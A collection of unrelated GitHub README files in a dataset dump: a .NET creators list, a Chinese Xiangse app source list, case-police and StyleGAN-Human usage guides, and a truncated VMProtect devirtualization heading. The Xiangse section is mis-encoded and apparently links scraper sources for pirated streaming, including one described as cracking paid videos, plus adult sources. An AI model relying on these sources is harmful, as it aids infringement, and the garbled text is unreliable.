| Shawn Wildermuth | [Blog](https://wildermuth.com/), [Pluralsight](https://app.pluralsight.com/profile/author/shawn-wildermuth), [Twitter](https://twitter.com/shawnwildermuth), [LinkedIn](https://www.linkedin.com/in/shawnwildermuth/), [YouTube](https://www.youtube.com/c/swildermuth) | .NET, ASP.NET Core |
| SingletonSean | [YouTube](https://www.youtube.com/c/SingletonSean), [Blog](https://seandodson.com/) | WPF, .NET, C# |
| Steve Ardalis Smith | [Blog](https://ardalis.com/blog), [Twitter](https://twitter.com/ardalis), [LinkedIn](https://www.linkedin.com/in/stevenandrewsmith/), [Mastodon](https://fosstodon.org/@ardalis) | Domain-Driven Design, Clean Architecture, .NET|
| Tim Corey | [YouTube](https://youtube.com/user/IAmTimCorey), [Podcast](https://iamtimcorey.com/p/podcast), [Blog](https://blog.iamtimcorey.com/), [Twitter](https://twitter.com/IAmTimCorey) | .NET, C#, ASP.NET Core |
| Travis Illig | [Blog](https://www.paraesthesia.com/), [Twitter](https://twitter.com/tillig), [LinkedIn](https://www.linkedin.com/in/tillig/), [GitHub](https://github.com/tillig) | .NET, C#
| Wes Doyle | [YouTube](https://youtube.com/c/WesDoyle), [LinkedIn](https://www.linkedin.com/in/wes-doyle/) | .NET, AWS |
### ๐ Official MSFT / .NET Foundation Content Resources / Xamarin
| Name | Channels | Tags |
| --- | --- | --- |
| .NET Microsoft Channels | [Blog](https://devblogs.microsoft.com/dotnet), [YouTube](https://www.youtube.com/c/dotNET), [Documentation](https://docs.microsoft.com/dotnet), [Twitter](https://twitter.com/dotnet) | .NET, C#, ASP.NET Core, .NET MAUI |
| .NET Foundation | [YouTube](https://www.youtube.com/c/NETFoundation), [Site](https://twitter.com/dotnetfdn) | .NET |
| Microsoft Visual Studio | [YouTube](https://www.youtube.com/c/visualstudio), [Blog](https://devblogs.microsoft.com/visualstudio/) | .NET, Visual Studio |
| Xamarin Developers | [YouTube](https://www.youtube.com/c/XamarinDevelopers) | .NET, Xamarin |
### ๐คน Multi-Creator Channels, Creator Name Unkown
| Name | Channels | Tags |
| --- | --- | --- |
| 6 Figure Developer Podcast | [Podcast](https://6figuredev.com/category/podcast/) | Podcast, .NET |
| Adventures in .NET | [Podcast](https://topenddevs.com/podcasts/adventures-in-net) | .NET
| Code Maze | [Blog](https://www.code-maze.com) | .NET, C#, ASP.NET Core |
| Coding After Work | [Podcast](https://www.codingafterwork.com/), [Twitch](https://www.twitch.tv/codingafterwork), [Twitter](https://twitter.com/CodingAfterWork) | .NET, Blazor, Podcast
| Coding Blocks| [Podcast](https://www.codingblocks.net/) | .NET Podcast |
| Curious Drive | [YouTube](https://www.youtube.com/c/CuriousDrive) | .NET, Blazor, ASP.NET Core |
| C# Corner | [Blog](https://www.c-sharpcorner.com/) | .NET, C# |
| DevMentors | [YouTube](https://www.youtube.com/c/DevMentors), [Site](https://devmentors.io) | .NET |
| Dotnetos | [Blog](https://dotnetos.org/blog), [YouTube](https://youtube.com/c/Dotnetos) | .NET, C# |
| DotNet Core Central | [YouTube](https://www.youtube.com/c/DotNetCoreCentral) | .NET |
| ExceptionNotFound | [Blog](https://www.exceptionnotfound.net) | .NET |
| GoatReview | [Blog](https://goatreview.com/) | .NET, Akka.NET, Architecture |
| tutorials.EU | [YouTube](https://www.youtube.com/c/tutorialsEU), [Courses](https://tutorials.eu/) | .NET |
| Kudvenkat/Pragim | [YouTube](https://www.youtube.com/c/Csharp-video-tutorialsBlogspot) | .NET, ASP.NET Core |
### ๐ Aggregator Sites
| Name | Channels | Tags |
| --- | --- | --- |
| Discover.NET | [Site](https://discoverdot.net) | .NET, Aggregator Site |
| .NET Ketchup | [Site](https://dotnetketchup.com) | .NET, Aggregator Site |
| The Morning Brew by Chris Alcock, UK | [Site](https://blog.cwa.me.uk/) | .NET, Aggregator Site |
| The Morning Dew by Alvin Ashcraft, USA | [Site](https://www.alvinashcraft.com/) | .NET, Aggregator Site |
## ๐Credits
* Special thanks [Shreyas Jejurkar](https://twitter.com/ShreyasJejurkar) for sharing a lot of awesome YouTube channels that I didn't know: [List of YouTube channels for .NET C# developers](https://shreyasjejurkar.com/2022/01/24/list-of-youtube-channels-for-net-csharp-developers/)
* Special thanks to the [dotnet Twitter Community](https://twitter.com/i/communities/1488624124817666051) for suggesting creators
* Flags copied from: [Free Country Flags in SVG](https://flagicons.lipis.dev)
* Thanks to all contributors!
## ๐ Other Project Links
* [Twitter List to follow](https://twitter.com/i/lists/1567240908059430912)
* URL to this repository: [github.com/matthiasjost/dotnet-content-creators](https://github.com/matthiasjost/dotnet-content-creators)
* Alternative link with redirection: [content-creators.net](https://www.content-creators.net)
* OPML file with all RSS feeds: [dotnet-creators-opml](https://github.com/matthiasjost/dotnet-creators-opml)
* This list is maintained by [Matthias Jost](https://matthiasjost.bio.link)
| โกA list of .NET content creators | dotnet,dotnet-core,dotnet-framework | 0 | 70 | 102 | 551 | 0 | 1 | 1 |
xiaohucode/xiangse | # ้ฆ่ฒ้บ้็่พพๆบ
# QQ้ข้
ๅ ๅ
ฅQQ้ข้[ใ้ฆ่ฒ้บ้ใ](https://qun.qq.com/qqweb/qunpro/share?_wv=3&_wwv=128&inviteCode=1tx5fU&from=181074&biz=ka)
# ้ฆ่ฒAPPๅ
ๅฏผๅ
ฅ็ฝๅ
```
https://raw.githubusercontent.com/xiaohucode/xiangse/main/README.md
```
# ๅฝๅ
ๅ ้
```
https://gcore.jsdelivr.net/gh/xiaohucode/xiangse@main/README-CN.md
```
# ่ง้ขๆบ
```
ๆณฅ่ง้ข(ไผ่ดจๆบ)ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง ่งฃๆๅฟซ-้่ฆๅผ้ญๆณ
https://github.com/xiaohucode/xiangse/raw/main/TV/nitv-1.xbs
ๆณฅ่ง้ข-ๅๅค็(ไผ่ดจๆบ)ๆไบบ็,่งฃๆๅฟซ-้่ฆๅผ้ญๆณ
https://github.com/xiaohucode/xiangse/raw/main/TV/nitv-2.xbs
myselfๅจๆผซ(ไผ่ดจๆบ)่ถ
ๆธ
ๅจๆผซ่ตๆบ
https://github.com/xiaohucode/xiangse/raw/main/TV/myself.xbs
97kp(ไผ่ดจๆบ)ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง ่งฃๆๅฟซ-่ตๆบไธ่ฌ
https://github.com/xiaohucode/xiangse/raw/main/TV/97kp.xbs
freeok(ไผ่ดจๆบ)ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง ่งฃๆๅฟซ-่ตๆบๅ
จ
https://github.com/xiaohucode/xiangse/raw/main/TV/freeok.xbs
555็ตๅฝฑ(ไผ่ดจๆบ)ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง-Netflix่ๅ
,็ฆๅฉ
https://github.com/xiaohucode/xiangse/raw/main/TV/555dy.xbs
้ฅญๅขๅฝฑ่ง(ไผ่ดจๆบ) ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅงๅจๆผซ็ปผ่บ
https://github.com/xiaohucode/xiangse/raw/main/TV/fantuan.xbs
ๆ็ฉบๅฝฑ่ง(ไผ่ดจๆบ) ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง-่ตๆบๅ
จ
https://github.com/xiaohucode/xiangse/raw/main/TV/xkys.xbs
zzzfun็ชๅง(ไผ่ดจๆบ)APPๆบ
https://github.com/xiaohucode/xiangse/raw/main/TV/zzzfun.xbs
ๅคงๅธๅ
ๅฝฑ่ง(ไผ่ดจๆบ) ๅ
ๅซๅฝๅ
ๅคๅฝฑ่งๅง-่ตๆบๅ
จ
https://github.com/xiaohucode/xiangse/raw/main/TV/dsxys.xbs
ๅ้ฟ่ตๆบ
https://github.com/xiaohucode/xiangse/raw/main/TV/czzy.xbs
ๅคง็ฑณๆ็(ไผ่ดจๆบ)
https://github.com/xiaohucode/xiangse/raw/main/TV/dmxq.xbs
ๅจๆผซๅทดๅฃซ
https://github.com/xiaohucode/xiangse/raw/main/TV/dmbs.xbs
6ๅจๆผซ(ไผ่ดจๆบ)
https://github.com/xiaohucode/xiangse/raw/main/TV/6dm.xbs
ๆจฑ่ฑๅจๆผซ
https://github.com/xiaohucode/xiangse/raw/main/TV/yhdm.xbs
็ฌๆญๅบ(ไผ่ดจๆบ)่ตๆบๆดๆฐๅฟซ,้่ฆ(่ชๆฉไปฉ่ง)
https://github.com/xiaohucode/xiangse/raw/main/TV/duboku.xbs
AnFunsๅจๆผซ(ไผ่ดจๆบ)่ๅ
ๆ ไฟฎ็ชๅง(ๆๅ)้ๅคง้IPไผ่งฆๅCF
https://github.com/xiaohucode/xiangse/raw/main/TV/AnFuns.xbs
่ๆTV(ไผ)
https://github.com/xiaohucode/xiangse/raw/main/TV/mgtv.xbs
ๅคฉ็ฉบๅฝฑ่ง ่งฃๆไธ่ฌ,ๅฎนๆๅคฑๆ
https://github.com/xiaohucode/xiangse/raw/main/TV/tkys.xbs
ๅฟซ็ซAPP๐ (appๆบ) ๆ็APPๆฐๆฎ,็ ด่งฃ้ๅธ่ง้ข
https://github.com/xiaohucode/xiangse/raw/main/TV/kuaimao.xbs
18av๐ ไธญๆๅญๅนHๅจๆผซ.ๆดๆฐๆญๆพๅฟซ(่ชๆฉไปฉ่ง)
https://github.com/xiaohucode/xiangse/raw/main/TV/18av.xbs
hanimeๅจๆผซ๐ Hๅจๆผซ;ๆๅพ้ฝๆ(่ชๆฉไปฉ่ง)
https://github.com/xiaohucode/xiangse/raw/main/TV/hanime.xbs
```
# ๆผซ็ปๆบ
```
vomicๆผซ็ป(่ๅ)
https://github.com/xiaohucode/xiangse/raw/main/manga/vomicmh.xbs
็ฌ่ถฃๆผซ็ป
https://github.com/xiaohucode/xiangse/raw/main/manga/bqmh.xbs
ๅตไธๆผซ็ป
https://github.com/xiaohucode/xiangse/raw/main/manga/miaoshang.xbs
ๅฅๆผซๅฑ(ไผ) ๅฝๆผซๅค(ๅไบ)
https://github.com/xiaohucode/xiangse/raw/main/manga/qimanwu.xbs
้ๆผซๅบ(ไผ) ๅฝๆผซๅค(ๅไบ)
https://github.com/xiaohucode/xiangse/raw/main/manga/sumanku.xbs
6ๆผซ็ป(ไผ) ๅฝๆผซๅค
https://github.com/xiaohucode/xiangse/raw/main/manga/6manhua.xbs
ๆผซ็ฅ(ไผ) ๅฝๆผซ ๆฅๆผซ ่ตๆบๅค
https://github.com/xiaohucode/xiangse/raw/main/manga/manshen.xbs
ๆผซ็ปๅง(ไผ) ๅฝๆผซ ๆฅๆผซ ่ตๆบๅค
https://github.com/xiaohucode/xiangse/raw/main/manga/mhba.xbs
ๅฅฝๆผซ6
https://github.com/xiaohucode/xiangse/raw/main/manga/haoman6.xbs
ๅฅฝๆผซ8
https://github.com/xiaohucode/xiangse/raw/main/manga/haoman8.xbs
็ฌจ็ฌจ็ๆผซ็ป
https://github.com/xiaohucode/xiangse/raw/main/manga/bbxcomic.xbs
ๅฟๆผซ(ไผ) ๐พ็ๆบ,ๅชๅไบไฟฎๅค
https://github.com/xiaohucode/xiangse/raw/main/manga/ym.xbs
ๆจ็ๆผซ็ป(ไผ) ๐้ฉๆผซ ๆฅๆผซ ๅฝไบง3D(ๅไบ)
https://github.com/xiaohucode/xiangse/raw/main/manga/mugua.xbs
ไบฒไบฒๆผซ็ป ๅฝๆผซ่ตๆบไธ่ฌ,ไธป่ฆ๐ๆฅๆผซ้ฉๆผซ
https://github.com/xiaohucode/xiangse/raw/main/manga/qinhm.xbs
```
# ๅฐ่ฏดๆบ
```
็ฑ้
ๅฐ่ฏดapp(ไผ)
https://github.com/xiaohucode/xiangse/raw/main/novel/aiyueks.xbs
็ไนฆๅฉๆ(่ๅ) ่ๅๆ็ดขๅ
จ็ฝๅฐ่ฏด
https://github.com/xiaohucode/xiangse/raw/main/novel/kszs.xbs
็บข็ๆณ
https://github.com/xiaohucode/xiangse/raw/main/novel/hgq.xbs
้ฃ้ไธญๆ
https://github.com/xiaohucode/xiangse/raw/main/novel/feiszw.xbs
33่จๆ
https://github.com/xiaohucode/xiangse/raw/main/novel/33yq.xbs
ๅฎๆฌ็ฅ็ซ
https://github.com/xiaohucode/xiangse/raw/main/novel/wbsz.xbs
่ตท็นไธญๆ(ๆญฃ็)่กฅ้ฝไธๆฑๅ็ฑป ้่ฆ็ๆญฃ็ๅฏไปฅๅจไนฆ็ฑๅ
ๅฎน็้ข็ป้่ตท็น่ดฆๅท
https://github.com/xiaohucode/xiangse/raw/main/novel/qidian.xbs
็ฅ่ๅฐ่ฏด็ฝ
https://github.com/xiaohucode/xiangse/raw/main/novel/szxs.xbs
360ๅฐ่ฏด็ฝ ้ฆๆฌกไฝฟ็จ้่ฆ็ป้,Cookieไฟๆไธไธชๆ
https://github.com/xiaohucode/xiangse/raw/main/novel/360xs.xbs
```
# ๆๅฃฐ
```
ๆตทๆดๅฌไนฆ
https://github.com/xiaohucode/xiangse/raw/main/audio/hyts.xbs
่็ฝๆ
ไบ (ๆ็APP็ซฏ็่ตๆบ)
https://github.com/xiaohucode/xiangse/raw/main/audio/laobaigs.xbs
ๆๅฌ่ฏไนฆ็ฝ (่็ฝๆ
ไบ็่ตๆบ)
https://github.com/xiaohucode/xiangse/raw/main/audio/wtpsw.xbs
```
| ้ฆ่ฒ้บ้่ง้ขๆบ | null | 0 | 3 | 0 | 178 | 2 | 1 | 0 |
antfu/case-police | # ๐จ CasePolice
[](https://www.npmjs.com/package/case-police)
<!-- @case-police-ignore -->
- Git**H**ub, not *Github*
- Type**S**cript, not *Typescript*
- **m**acOS, not *MacOS*
- **VS C**ode, not *Vscode*
- [...](./packages/case-police/dict)
Make the case correct, PLEASE!
## Usage
**Make sure you have committed all unsaved works**, and then
```bash
npx case-police --fix
```
It will scan all your source files and fix the cases of [known names](./packages/case-police/dict).
Only the word including both uppercase and lowercase will be fixed. (e.g. `Github` -> `GitHub`; `github` and `GITHUB` will be left untouched).
### Use in ESLint
We also provide an ESLint plugin that can be used to lint your codebase.
```bash
npm i -D eslint-plugin-case-police
```
<!-- eslint-skip -->
```jsonc
// .eslintrc
{
"extends": [
"plugin:case-police/recommended"
]
}
```
### Use in CI
Simply add `case-police` (without `--fix`) to your workflow and it will exit with a non-zero code for your CI to catch it.
### Specific files
By default it will scan all the text files under the current directory (respects `.gitignore`), if you want it to check only specific files, you can pass the file paths of glob patterns to it.
```bash
npx case-police "**/*.md" path/to/file.html
```
## CLI Options
| Options | Description |
| --- | --- |
| `[...globs]` | Files or glob to be checked, if not provided, all the text files will be check |
| `--fix` | Rewrite changes to file |
| `-d, --dict <path>` | Custom dictionary JSON, will be merged with original dict |
| `-p, --presets <presets>` | Filter the default [presets](./packages/case-police/dict), comma separated |
| `--no-default` | Disable the default dictionary |
| `--disable <rules>` | Disable rules, comma separated |
| `--ignore <globs>` | Files or globs to be ignore, comma separated |
### Ignores
You can add `@case-police-disable` in your file to disable the case check for the particular file, or add `@case-police-ignore xxx` to ignore certain words in that file.
For example:
```ts
// @case-police-ignore Uri
console.log(something.Uri.path)
```
## Sponsors
<p align="center">
<a href="https://cdn.jsdelivr.net/gh/antfu/static/sponsors.svg">
<img src='https://cdn.jsdelivr.net/gh/antfu/static/sponsors.svg'/>
</a>
</p>
## Related Projects
[actions-case-police](https://github.com/Namchee/actions-case-police). Use the correct letter case in GitHub issues and pull requests
## License
[MIT](./LICENSE) License ยฉ 2021 [Anthony Fu](https://github.com/antfu)
| ๐จ Make the case correct, PLEASE! | null | 36 | 83 | 147 | 206 | 4 | 1 | 2 |
stylegan-human/StyleGAN-Human | # StyleGAN-Human: A Data-Centric Odyssey of Human Generation
<img src="./img/demo_V5_thumbnails-min.png" width="96%" height="96%">
<!--
**stylegan-human/StyleGAN-Human** is a โจ _special_ โจ repository because its `README.md` (this file) appears on your GitHub profile.
-->
>
>
> **Abstract:** *Unconditional human image generation is an important task in vision and graphics, which enables various applications in the creative industry. Existing studies in this field mainly focus on "network engineering" such as designing new components and objective functions. This work takes a data-centric perspective and investigates multiple critical aspects in "data engineering", which we believe would complement the current practice. To facilitate a comprehensive study, we collect and annotate a large-scale human image dataset with over 230K samples capturing diverse poses and textures. Equipped with this large dataset, we rigorously investigate three essential factors in data engineering for StyleGAN-based human generation, namely data size, data distribution, and data alignment. Extensive experiments reveal several valuable observations w.r.t. these aspects: 1) Large-scale data, more than 40K images, are needed to train a high-fidelity unconditional human generation model with vanilla StyleGAN. 2) A balanced training set helps improve the generation quality with rare face poses compared to the long-tailed counterpart, whereas simply balancing the clothing texture distribution does not effectively bring an improvement. 3) Human GAN models with body centers for alignment outperform models trained using face centers or pelvis points as alignment anchors. In addition, a model zoo and human editing applications are demonstrated to facilitate future research in the community.* <br>
**Keyword:** Human Image Generation, Data-Centric, StyleGAN
[Jianglin Fu](mailto:fujianglin@sensetime.com), [Shikai Li](mailto:lishikai@sensetime.com), [Yuming Jiang](https://yumingj.github.io/), [Kwan-Yee Lin](https://kwanyeelin.github.io/), [Chen Qian](https://scholar.google.com/citations?user=AerkT0YAAAAJ&hl=zh-CN), [Chen Change Loy](https://www.mmlab-ntu.com/person/ccloy/), [Wayne Wu](https://wywu.github.io/), and [Ziwei Liu](https://liuziwei7.github.io/) <br>
**[[Demo Video]](https://youtu.be/nIrb9hwsdcI)** | **[[Project Page]](https://stylegan-human.github.io/)** | **[[Paper]](https://arxiv.org/pdf/2204.11823.pdf)**
## Updates
- [07/04/2024] :star2::star2::star2: **Check out our new work in human foundation model -- [CosmicMan](https://github.com/cosmicman-cvpr2024/CosmicMan) at CVPR 2024!**
- [13/02/2023] :star2::star2::star2: **Now the human parsing and keypoints for [SHHQ-1.0](./docs/Dataset.md) are available!**
- [14/12/2022] :fire::fire::fire:**We have released [3DHumanGAN](https://3dhumangan.github.io/), which is towards photo-realistic 3D-aware human generation!**:fire::fire::fire:
- [28/09/2022] :fire::fire::fire:**We have released a high-quality 3D human generative model [EVA3D](https://hongfz16.github.io/projects/EVA3D.html)!**:fire::fire::fire:
- [20/07/2022] [SHHQ-1.0](./docs/Dataset.md) dataset with 40K images is released! :sparkles:
- [15/06/2022] Data alignment and real-image inversion scripts are released.
- [26/04/2022] Technical report released!
- [22/04/2022] Technical report will be released before May.
- [21/04/2022] The codebase and project page are created.
## Data Download
The first version SHHQ-1.0, with 40K images is released. To download and use the dataset set, please read the instructions in [Dataset.md](./docs/Dataset.md)
๏ผWe are currently facing large incoming applications, and we need to carefully verify all the applicants, please be patient, and we will reply to you as soon as possible.๏ผ
## Model Zoo
| Structure | 1024x512 | Metric | Scores | 512x256 | Metric | Scores |
| --------- |:----------:| :----------:| :----------:| :-----: | :-----: | :-----: |
| StyleGAN1 |[stylegan_human_v1_1024.pkl](https://drive.google.com/file/d/1h-R-IV-INGdPEzj4P9ml6JTEvihuNgLX/view?usp=sharing)| fid50k | 3.79 | to be released | - | - |
| StyleGAN2 |[stylegan_human_v2_1024.pkl](https://drive.google.com/file/d/1FlAb1rYa0r_--Zj_ML8e6shmaF28hQb5/view?usp=sharing)| fid50k_full | 1.57 |[stylegan_human_v2_512.pkl](https://drive.google.com/file/d/1dlFEHbu-WzQWJl7nBBZYcTyo000H9hVm/view?usp=sharing) | fid50k_full | 1.97 |
| StyleGAN3 |to be released | - | - | [stylegan_human_v3_512.pkl](https://drive.google.com/file/d/1_274jk_N6WSCkKWeu7hjHycqGvbuOFf5/view?usp=sharing) | fid50k_full | 2.54 |
## Web Demo
Integrated into [Huggingface Spaces ๐ค](https://huggingface.co/spaces) using [Gradio](https://github.com/gradio-app/gradio). Try out the Web Demo for generation: [](https://huggingface.co/spaces/hysts/StyleGAN-Human) and interpolation [](https://huggingface.co/spaces/hysts/StyleGAN-Human-Interpolation)
<a href="https://colab.research.google.com/drive/1sgxoDM55iM07FS54vz9ALg1XckiYA2On"><img src="https://colab.research.google.com/assets/colab-badge.svg" height=22.5></a>
We prepare a Colab demo to allow you to synthesize images with the provided models, as well as visualize the performance of style-mixing, interpolation, and attributes editing.
The notebook will guide you to install the necessary environment and download pretrained models. The output images can be found in `./StyleGAN-Human/outputs/`.
Hope you enjoy!
## Usage
### System requirements
* The original code bases are [stylegan (tensorflow)](https://github.com/NVlabs/stylegan), [stylegan2-ada (pytorch)](https://github.com/NVlabs/stylegan2-ada-pytorch), [stylegan3 (pytorch)](https://github.com/NVlabs/stylegan3), released by NVidia
* We tested in Python 3.8.5 and PyTorch 1.9.1 with CUDA 11.1. (See https://pytorch.org for PyTorch install instructions.)
### Installation
To work with this project on your own machine, you need to install the environmnet as follows:
```
conda env create -f environment.yml
conda activate stylehuman
# [Optional: tensorflow 1.x is required for StyleGAN1. ]
pip install nvidia-pyindex
pip install nvidia-tensorflow[horovod]
pip install nvidia-tensorboard==1.15
```
Extra notes:
1. In case having some conflicts when calling CUDA version, please try to empty the LD_LIBRARY_PATH. For example:
```
LD_LIBRARY_PATH=; python generate.py --outdir=out/stylegan_human_v2_1024 --trunc=1 --seeds=1,3,5,7
--network=pretrained_models/stylegan_human_v2_1024.pkl --version 2
```
2. We found the following troubleshooting links might be helpful: [1.](https://github.com/NVlabs/stylegan3), [2.](https://github.com/NVlabs/stylegan3/blob/main/docs/troubleshooting.md)
### Train
The training scripts are based on the original [stylegan1](https://github.com/NVlabs/stylegan), [stylegan2-ada](https://github.com/NVlabs/stylegan2-ada-pytorch), and [stylegan3](https://github.com/NVlabs/stylegan3) with minor changes. Here we only provide the scripts with modifications for SG2 and SG3. You can replace the old files with the provided scripts to train. (assume SHHQ-1.0 is placed under data/)
#### Train Stylegan2-ada-pytorch with SHHQ-1.0
```
python train.py --outdir=training_results/sg2/ --data=data/SHHQ-1.0/ \
--gpus=8 --aug=noaug --mirror=1 --snap=250 --cfg=shhq --square=False
```
#### Train Stylegan3 with SHHQ-1.0
```
python train.py --outdir=training_results/sg3/ --cfg=stylegan3-r --gpus=8 --batch=32 --gamma=12.4 \
--mirror=1 --aug=noaug --data=data/SHHQ-1.0/ --square=False --snap=250
```
### Pretrained models
Please put the downloaded pretrained models [from above link](#Model-Zoo) under the folder 'pretrained_models'.
### Generate full-body human images using our pretrained model
```
# Generate human full-body images without truncation
python generate.py --outdir=outputs/generate/stylegan_human_v2_1024 --trunc=1 --seeds=1,3,5,7 --network=pretrained_models/stylegan_human_v2_1024.pkl --version 2
# Generate human full-body images with truncation
python generate.py --outdir=outputs/generate/stylegan_human_v2_1024 --trunc=0.8 --seeds=0-10 --network=pretrained_models/stylegan_human_v2_1024.pkl --version 2
# Generate human full-body images using stylegan V1
python generate.py --outdir=outputs/generate/stylegan_human_v1_1024 --network=pretrained_models/stylegan_human_v1_1024.pkl --version 1 --seeds=1,3,5
# Generate human full-body images using stylegan V3
python generate.py --outdir=outputs/generate/stylegan_human_v3_512 --network=pretrained_models/stylegan_human_v3_512.pkl --version 3 --seeds=1,3,5
```
#### Note: The following demos are generated based on models related to StyleGAN V2 (stylegan_human_v2_512.pkl and stylegan_human_v2_1024.pkl). If you want to see results for V1 or V3, you need to change the loading method of the corresponding models.
### Interpolation
```
python interpolation.py --network=pretrained_models/stylegan_human_v2_1024.pkl --seeds=85,100 --outdir=outputs/inter_gifs
```
### Style-mixing **image** using stylegan2
```
python style_mixing.py --network=pretrained_models/stylegan_human_v2_1024.pkl --rows=85,100,75,458,1500 \\
--cols=55,821,1789,293 --styles=0-3 --outdir=outputs/stylemixing
```
### Style-mixing **video** using stylegan2
```
python stylemixing_video.py --network=pretrained_models/stylegan_human_v2_1024.pkl --row-seed=3859 \\
--col-seeds=3098,31759,3791 --col-styles=8-12 --trunc=0.8 --outdir=outputs/stylemixing_video
```
### Aligned raw images
For alignment, we use [openpose-pytorch](https://github.com/Hzzone/pytorch-openpose) for body-keypoints detection and [PaddlePaddle](https://github.com/PaddlePaddle/PaddleSeg/tree/release/2.5/contrib/PP-HumanSeg) for human segmentation.
Before running the alignment script, few models need to be installed:
1. download [body_pose_model.pth](https://drive.google.com/drive/folders/1JsvI4M4ZTg98fmnCZLFM-3TeovnCRElG?usp=sharing) and place it into openpose/model/.
2. download and extract [deeplabv3p_resnet50_os8_humanseg_512x512_100k_with_softmax](https://paddleseg.bj.bcebos.com/dygraph/humanseg/export/deeplabv3p_resnet50_os8_humanseg_512x512_100k_with_softmax.zip) into PP_HumanSeg/export_model/deeplabv3p_resnet50_os8_humanseg_512x512_100k_with_softmax.
3. download and extract [deeplabv3p_resnet50_os8_humanseg_512x512_100k](https://paddleseg.bj.bcebos.com/dygraph/humanseg/train/deeplabv3p_resnet50_os8_humanseg_512x512_100k.zip) into PP_HumanSeg/pretrained_model/deeplabv3p_resnet50_os8_humanseg_512x512_100k.
4. install paddlepaddel: ``` pip install paddleseg ```
Then you can start alignment:
```
python alignment.py --image-folder img/test/ --output-folder aligned_image/
```
### Invert real image with [PTI](https://github.com/danielroich/PTI)
Before inversion, please download our PTI weights: [e4e_w+.pt](https://drive.google.com/file/d/1NUfSJqLhsrU7c9PwAtlZ9xtrxhzS_6tu/view?usp=sharing) into /pti/.
Few parameters you can change:
- /pti/pti_configs/hyperparameters.py:
- first_inv_type = 'w+' -> Use pretrained e4e encoder
- first_inv_type = 'w' -> Use projection and optimization
- /pti/pti_configs/paths_config.py:
- input_data_path: path of real images
- e4e: path of e4e_w+.pt
- stylegan2_ada_shhq: pretrained stylegan2-ada model for SHHQ
```
python run_pti.py
```
Note: we used the test image under 'aligned_image/' (the output of alignment.py), the inverted latent code and fine-tuned generator will be saved in 'outputs/pti/'
### Editing with InterfaceGAN, StyleSpace, and Sefa
```
python edit.py --network pretrained_models/stylegan_human_v2_1024.pkl --attr_name upper_length \\
--seeds 61531,61570,61571,61610 --outdir outputs/edit_results
```
### Editing using inverted latent code
```
python edit.py ---network outputs/pti/checkpoints/model_test.pkl --attr_name upper_length \\
--outdir outputs/edit_results --real True --real_w_path outputs/pti/embeddings/test/PTI/test/0.pt --real_img_path aligned_image/test.png
```
Note:
1. ''upper_length'' and ''bottom_length'' of ''attr_name'' are available for demo.
2. Layers to control and editing strength are set in edit/edit_config.py.
### Demo for [InsetGAN](https://arxiv.org/abs/2203.07293)
We implement a quick demo using the key idea from InsetGAN: combining the face generated by FFHQ with the human-body generated by our pretrained model, optimizing both face and body latent codes to get a coherent full-body image.
Before running the script, you need to download the [FFHQ face model]( https://docs.google.com/uc?export=download&confirm=t&id=125OG7SMkXI-Kf2aqiwLLHyCvSW-gZk3M), or you can use your own face model, as well as [pretrained face landmark](https://docs.google.com/uc?export=download&confirm=&id=1A82DnJBJzt8wI2J8ZrCK5fgHcQ2-tcWM) and [pretrained CNN face detection model for dlib](https://docs.google.com/uc?export=download&confirm=&id=1MduBgju5KFNrQfDLoQXJ_1_h5MnctCIG)
```
python insetgan.py --body_network=pretrained_models/stylegan_human_v2_1024.pkl --face_network=pretrained_models/ffhq.pkl \\
--body_seed=82 --face_seed=43 --trunc=0.6 --outdir=outputs/insetgan/ --video 1
```
## Results
### Editing
### InsetGAN re-implementation
### Editing with inverted real image
(from left to right: real image | inverted image | InterFaceGAN result | StyleSpace result | SeFa result)
https://user-images.githubusercontent.com/98547009/173773800-bb7fe54a-84d3-4b30-9864-a6b7b311f8ff.mp4
### For more demo, please visit our [**web page**](https://stylegan-human.github.io/) .
## TODO List
- [ ] Release 1024x512 version of StyleGAN-Human based on StyleGAN3
- [ ] Release 512x256 version of StyleGAN-Human based on StyleGAN1
- [ ] Extension of downstream application (InsetGAN): Add face inversion interface to support fusing user face image and stylegen-human body image
- [x] Add Inversion Script into the provided editing pipeline
- [ ] Release Dataset
## Related Works
* (ICCV 2023) **UnitedHuman: Harnessing Multi-Source Data for High-Resolution Human Generation**, Jianglin Fu et al. [[Paper](https://arxiv.org/abs/2309.14335)], [[Code](https://github.com/UnitedHuman/UnitedHuman)], [[Project Page](https://unitedhuman.github.io/)]
* (SIGGRAPH 2022) **Text2Human: Text-Driven Controllable Human Image Generation**, Yuming Jiang et al. [[Paper](https://arxiv.org/pdf/2205.15996.pdf)], [[Code](https://github.com/yumingj/Text2Human)], [[Project Page](https://yumingj.github.io/projects/Text2Human.html)], [[Dataset](https://github.com/yumingj/DeepFashion-MultiModal)]
* (ICCV 2021) **Talk-to-Edit: Fine-Grained Facial Editing via Dialog**, Yuming Jiang et al. [[Paper](https://arxiv.org/abs/2109.04425)], [[Code](https://github.com/yumingj/Talk-to-Edit)], [[Project Page](https://www.mmlab-ntu.com/project/talkedit/)], [[Dataset](https://mmlab.ie.cuhk.edu.hk/projects/CelebA/CelebA_Dialog.html)]
* (Technical Report 2022) **Generalizable Neural Performer: Learning Robust Radiance Fields for Human Novel View Synthesis**, Wei Cheng et al. [[Paper](https://arxiv.org/pdf/2204.11798.pdf)], [[Code](https://github.com/generalizable-neural-performer/gnr)], [[Project Page](https://generalizable-neural-performer.github.io/)], [[Dataset](https://generalizable-neural-performer.github.io/genebody.html)]
## Citation
If you find this work useful for your research, please consider citing our paper:
```bibtex
@article{fu2022styleganhuman,
title={StyleGAN-Human: A Data-Centric Odyssey of Human Generation},
author={Fu, Jianglin and Li, Shikai and Jiang, Yuming and Lin, Kwan-Yee and Qian, Chen and Loy, Chen-Change and Wu, Wayne and Liu, Ziwei},
journal = {arXiv preprint},
volume = {arXiv:2204.11823},
year = {2022}
```
## Acknowlegement
Part of the code is borrowed from [stylegan (tensorflow)](https://github.com/NVlabs/stylegan), [stylegan2-ada (pytorch)](https://github.com/NVlabs/stylegan2-ada-pytorch), [stylegan3 (pytorch)](https://github.com/NVlabs/stylegan3).
| StyleGAN-Human: A Data-Centric Odyssey of Human Generation | null | 0 | 10 | 5 | 41 | 24 | 1 | 0 |
JonathanSalwan/VMProtect-devirtualization | <h1 align="center">VMProtect Devirtualization</h1>
<p align="center">
